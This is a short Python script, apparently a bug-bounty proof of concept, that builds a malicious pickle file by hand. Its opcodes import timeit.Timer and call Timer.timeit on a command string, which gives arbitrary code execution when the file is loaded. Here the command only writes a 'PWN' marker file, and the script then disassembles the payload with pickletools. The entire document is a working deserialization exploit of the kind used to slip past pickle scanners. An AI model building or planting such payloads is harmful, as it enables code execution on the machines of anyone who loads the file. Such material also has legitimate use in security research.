import pickletools MARKER = "C:/Users/uozer/AppData/Local/Temp/opencode/timeit_PWN.txt" OUT = r"D:\0projects\bountykimi\tmp\artifacts\timeit_timer.pkl" cmd = "open(r'%s','w').write('PWN')" % MARKER def s(x): return b"\x8c" + bytes([len(x)]) + x.encode() # stack order: func Timer.timeit, then instance Timer(cmd), then 1, TUPLE2, REDUCE payload = ( b"\x80\x04" + s("timeit") + s("Timer.timeit") + b"\x93" # function + s("timeit") + s("Timer") + b"\x93" # class Timer + s(cmd) + b"\x85R" # instance = Timer(cmd) + b"K\x01" # BININT1 1 + b"\x86" # TUPLE2 -> (inst, 1) + b"R" # REDUCE -> Timer.timeit(inst, 1) + b"." ) open(OUT, "wb").write(payload) for op, arg, pos in pickletools.genops(payload): print(op.name, repr(arg))